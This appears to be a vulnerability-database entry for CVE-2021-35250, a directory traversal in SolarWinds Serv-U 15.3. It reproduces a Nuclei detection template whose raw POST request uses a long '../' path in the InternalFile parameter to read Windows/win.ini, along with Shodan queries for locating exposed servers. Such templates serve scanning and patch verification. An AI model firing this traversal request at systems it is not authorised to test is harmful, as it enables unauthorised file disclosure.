CVE-2021-35250: SolarWinds Serv-U 15.3 - Directory Traversal

日期: 2025-08-01 | 影响软件: SolarWinds Serv-U | POC: 已公开

漏洞描述

SolarWinds Serv-U 15.3 is susceptible to local file inclusion, which may allow an attacker access to installation and server files and also make it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

PoC代码[已公开]

id: CVE-2021-35250

info:
  name: SolarWinds Serv-U 15.3 - Directory Traversal
  author: johnk3r,pdteam
  severity: high
  description: |
    SolarWinds Serv-U 15.3 is susceptible to local file inclusion, which may allow an attacker access to installation and server files and also make it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further attacks.
  remediation: Resolved in Serv-U 15.3 Hotfix 1.
  reference:
    - https://github.com/rissor41/SolarWinds-CVE-2021-35250
    - https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-15-3-HotFix-1?language=en_US
    - https://www.solarwinds.com/trust-center/security-advisories/cve-2021-35250
    - https://twitter.com/shaybt12/status/1646966578695622662?s=43&t=5HOgSFut7Y75N7CBHEikSg
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35250
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-35250
    cwe-id: CWE-22
    epss-score: 0.91915
    epss-percentile: 0.99685
    cpe: cpe:2.3:a:solarwinds:serv-u:15.3:-:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: solarwinds
    product: serv-u
    shodan-query:
      - product:"Rhinosoft Serv-U httpd"
      - product:"rhinosoft serv-u httpd"
  tags: cve2021,cve,solarwinds,traversal

http:
  - raw:
      - |
        POST /?Command=NOOP&InternalFile=../../../../../../../../../../../../../../Windows/win.ini&NewWebClient=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        /?Command=NOOP

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "\\[(font|extension|file)s\\]"

      - type: status
        status:
          - 401
# digest: 4b0a00483046022100d33c292b0e730f1d9b302f29f0d793dab68598eff0c0c2f0bdc597ff75db50c2022100c55cddfabcc956f031a981c4b0a44227bb49e69ed11a042c9fcad985a8577baa:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-35250.yaml

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